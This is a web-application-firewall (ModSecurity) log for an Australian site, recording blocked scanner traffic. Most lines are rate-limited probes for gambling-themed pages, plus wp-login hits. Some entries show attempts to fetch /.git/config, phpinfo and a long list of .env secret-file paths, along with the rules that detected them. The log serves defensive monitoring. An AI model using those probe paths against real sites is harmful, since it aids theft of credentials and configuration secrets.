[Fri May 08 07:58:35.587979 2026] [:error] [pid 51007:tid 51041] [client 217.182.139.33:47720] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "af0nK1MagSGstWKyzzWSlQAAABM"]
[Fri May 08 07:58:38.088865 2026] [:error] [pid 51113:tid 51116] [client 217.182.139.33:47726] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "af0nLkQfs7sWtqkpQIc31QAAAME"]
[Fri May 08 07:58:40.448602 2026] [:error] [pid 51008:tid 51052] [client 217.182.139.33:47728] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "af0nMHB58C2Y1tgLtuIxXwAAAEM"]
[Fri May 08 07:58:42.965466 2026] [:error] [pid 61317:tid 61344] [client 217.182.139.33:47730] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "af0nMs-fFk_CedOCOYtAoAAAAVg"]
[Fri May 08 07:58:45.453965 2026] [:error] [pid 61356:tid 61392] [client 217.182.139.33:45246] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "af0nNYx3vpB8oWhUq2OVUAAAAcQ"]
[Fri May 08 07:58:47.936781 2026] [:error] [pid 61355:tid 61378] [client 217.182.139.33:45248] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "af0nN_khJTi30CBXmMnZnAAAAZE"]
[Fri May 08 07:58:50.284498 2026] [:error] [pid 51009:tid 51077] [client 217.182.139.33:45252] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "af0nOuB0GbUWhxgzX9W5wwAAAIE"]
[Fri May 08 07:58:52.777033 2026] [:error] [pid 61356:tid 61412] [client 217.182.139.33:45262] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "af0nPIx3vpB8oWhUq2OVfAAAAdg"]
[Fri May 08 07:58:55.275892 2026] [:error] [pid 51009:tid 51082] [client 217.182.139.33:44028] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "af0nP-B0GbUWhxgzX9W5zAAAAIY"]
[Fri May 08 07:58:57.778993 2026] [:error] [pid 61356:tid 61406] [client 217.182.139.33:44034] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "af0nQYx3vpB8oWhUq2OVhQAAAdI"]
[Fri May 08 07:59:32.436109 2026] [:error] [pid 61356:tid 61404] [client 217.182.139.33:44050] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "af0nZIx3vpB8oWhUq2OV7wAAAdA"]
[Fri May 08 07:59:34.879122 2026] [:error] [pid 34318:tid 34323] [client 217.182.139.33:33952] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "af0nZsr3guirgJiKhzCOVwAAAQM"]
[Fri May 08 07:59:37.350546 2026] [:error] [pid 61355:tid 61363] [client 217.182.139.33:33966] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "af0nafkhJTi30CBXmMnaGgAAAYI"]
[Fri May 08 07:59:39.682077 2026] [:error] [pid 61355:tid 61378] [client 217.182.139.33:33974] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "af0na_khJTi30CBXmMnaIAAAAZE"]
[Fri May 08 07:59:42.173514 2026] [:error] [pid 61356:tid 61388] [client 217.182.139.33:33976] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "af0nbox3vpB8oWhUq2OWBQAAAcA"]
[Fri May 08 07:59:44.499131 2026] [:error] [pid 34318:tid 34338] [client 217.182.139.33:52360] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "af0ncMr3guirgJiKhzCOWgAAARI"]
[Fri May 08 07:59:46.979183 2026] [:error] [pid 34318:tid 34337] [client 217.182.139.33:52370] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "af0ncsr3guirgJiKhzCOWwAAARE"]
[Fri May 08 07:59:49.488515 2026] [:error] [pid 61356:tid 61412] [client 217.182.139.33:52372] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "af0ndYx3vpB8oWhUq2OWGgAAAdg"]
[Fri May 08 07:59:51.989338 2026] [:error] [pid 61356:tid 61400] [client 217.182.139.33:52374] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "af0nd4x3vpB8oWhUq2OWJAAAAcw"]
[Fri May 08 07:59:54.317144 2026] [:error] [pid 61317:tid 61344] [client 217.182.139.33:40824] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "af0nes-fFk_CedOCOYtBCQAAAVg"]
[Fri May 08 07:59:56.788865 2026] [:error] [pid 61356:tid 61393] [client 217.182.139.33:40826] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "af0nfIx3vpB8oWhUq2OWMQAAAcU"]
[Fri May 08 07:59:59.115072 2026] [:error] [pid 61356:tid 61402] [client 217.182.139.33:40842] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "af0nf4x3vpB8oWhUq2OWPQAAAc4"]
[Fri May 08 08:00:01.595638 2026] [:error] [pid 61356:tid 61389] [client 217.182.139.33:40852] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "af0ngYx3vpB8oWhUq2OWRAAAAcE"]
[Fri May 08 08:00:04.059335 2026] [:error] [pid 51008:tid 51055] [client 217.182.139.33:41586] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "af0nhHB58C2Y1tgLtuIxzgAAAEY"]
[Fri May 08 08:00:06.555190 2026] [:error] [pid 61355:tid 61378] [client 217.182.139.33:41594] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "af0nhvkhJTi30CBXmMnaJAAAAZE"]
[Fri May 08 08:00:09.023611 2026] [:error] [pid 51009:tid 51084] [client 217.182.139.33:41600] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "af0nieB0GbUWhxgzX9W6BwAAAIg"]
[Fri May 08 08:00:11.337183 2026] [:error] [pid 61355:tid 61375] [client 217.182.139.33:41602] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "af0ni_khJTi30CBXmMnaJwAAAY4"]
[Fri May 08 08:00:13.818847 2026] [:error] [pid 34318:tid 34337] [client 217.182.139.33:33880] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "af0njcr3guirgJiKhzCOZgAAARE"]
[Fri May 08 08:00:16.272369 2026] [:error] [pid 61355:tid 61380] [client 217.182.139.33:33884] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "af0nkPkhJTi30CBXmMnaLwAAAZM"]
[Fri May 08 08:00:18.774820 2026] [:error] [pid 61356:tid 61404] [client 217.182.139.33:33894] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "af0nkox3vpB8oWhUq2OWXQAAAdA"]
[Fri May 08 08:00:21.249924 2026] [:error] [pid 61356:tid 61411] [client 217.182.139.33:33904] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "af0nlYx3vpB8oWhUq2OWZQAAAdc"]
[Fri May 08 08:00:23.745968 2026] [:error] [pid 61356:tid 61398] [client 217.182.139.33:48210] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "af0nl4x3vpB8oWhUq2OWbQAAAco"]
[Fri May 08 08:00:26.235356 2026] [:error] [pid 61356:tid 61411] [client 217.182.139.33:48226] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "af0nmox3vpB8oWhUq2OWdQAAAdc"]
[Fri May 08 08:00:28.583276 2026] [:error] [pid 61356:tid 61391] [client 217.182.139.33:48232] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "af0nnIx3vpB8oWhUq2OWfQAAAcM"]
[Fri May 08 08:01:03.129598 2026] [:error] [pid 61355:tid 61384] [client 217.182.139.33:48240] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "af0nv_khJTi30CBXmMnaYgAAAZc"]
[Fri May 08 08:01:05.433067 2026] [:error] [pid 61317:tid 61342] [client 217.182.139.33:45202] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "af0nwc-fFk_CedOCOYtBgAAAAVY"]
[Fri May 08 08:01:07.901078 2026] [:error] [pid 51007:tid 51031] [client 217.182.139.33:45218] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "af0nw1MagSGstWKyzzWS0gAAAAk"]
[Fri May 08 08:01:10.246656 2026] [:error] [pid 61356:tid 61404] [client 217.182.139.33:45232] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "af0nxox3vpB8oWhUq2OW6QAAAdA"]
[Fri May 08 08:01:26.946368 2026] [:error] [pid 61355:tid 61380] [client 23.98.148.92:41242] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.98.148.92, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af0n1vkhJTi30CBXmMnafAAAAZM"]
[Fri May 08 08:25:52.635779 2026] [:error] [pid 51009:tid 51089] [client 43.157.142.101:55524] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "af0tkOB0GbUWhxgzX9W8MwAAAI0"]
[Fri May 08 11:06:44.321766 2026] [:error] [pid 61317:tid 61342] [client 89.163.159.173:34920] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.163.159.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af1TRM-fFk_CedOCOYtryQAAAVY"]
[Fri May 08 11:42:11.399424 2026] [:error] [pid 51008:tid 51052] [client 170.106.179.68:45892] [client 170.106.179.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "af1bk3B58C2Y1tgLtuJXQgAAAEM"]
[Fri May 08 13:34:25.520737 2026] [:error] [pid 61355:tid 61379] [client 34.165.42.139:33756] [client 34.165.42.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "af114fkhJTi30CBXmMlAoAAAAZI"]
[Fri May 08 18:54:45.130009 2026] [:error] [pid 61355:tid 61381] [client 43.155.195.141:42932] [client 43.155.195.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "af3A9fkhJTi30CBXmMmUoQAAAZQ"]
[Fri May 08 23:06:05.894169 2026] [:error] [pid 61355:tid 61361] [client 43.162.103.213:59900] [client 43.162.103.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "af373fkhJTi30CBXmMnlLwAAAYA"]
[Sat May 09 00:32:55.340912 2026] [:error] [pid 61356:tid 61399] [client 34.234.100.56:55113] [client 34.234.100.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "af4QN4x3vpB8oWhUq2MLhgAAAcs"]
[Sat May 09 01:14:42.530355 2026] [:error] [pid 51009:tid 51081] [client 3.106.208.88:46254] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "af4aAuB0GbUWhxgzX9WJAAAAAIU"]
[Sat May 09 01:14:44.560437 2026] [:error] [pid 51008:tid 51057] [client 3.106.208.88:46258] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4aBHB58C2Y1tgLtuLUIwAAAEg"]
[Sat May 09 01:14:58.821976 2026] [:error] [pid 61356:tid 61395] [client 3.106.208.88:46270] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test/phpinfo.php"] [unique_id "af4aEox3vpB8oWhUq2McowAAAcc"]
